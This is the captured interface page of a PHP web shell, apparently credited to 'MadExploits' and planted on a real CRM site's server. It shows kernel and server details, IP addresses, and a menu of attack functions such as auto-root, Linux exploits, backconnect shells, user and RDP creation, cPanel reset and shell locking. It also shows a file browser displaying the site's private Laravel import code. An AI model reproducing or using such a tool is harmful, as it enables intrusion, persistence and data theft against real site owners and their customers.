Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.63.182
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Imports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentRawDataImport.php
3.55
KB
-rw-r--r--
ClientsImport.php
1.07
KB
-rw-r--r--
ContactsImport.php
2.99
KB
-rw-r--r--
LeadsImport.php
561
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClientsImport.php
<?php namespace App\Imports; use App\Models\Client; use Maatwebsite\Excel\Concerns\ToModel; class ClientsImport implements ToModel { /** * @param array $row * * @return \Illuminate\Database\Eloquent\Model|null */ public function model(array $row) { if($row[0] != "Name"){ $client = Client::create([ 'name' => $row[0], 'company_name' => $row[1], 'address' => $row[4], 'billing_name' => $row[5], 'billing_address' => $row[6], 'status' => "active", ]); $email_arr = explode(',', $row[2]); $phone_arr = explode(',', $row[3]); foreach($email_arr as $email){ $client->emailPhoneDetails()->create(['value' => $email , 'type' => 'email']); } foreach($phone_arr as $phone){ $client->emailPhoneDetails()->create(['value' => $phone , 'type' => 'phone_no']); } return $client; } } }
Close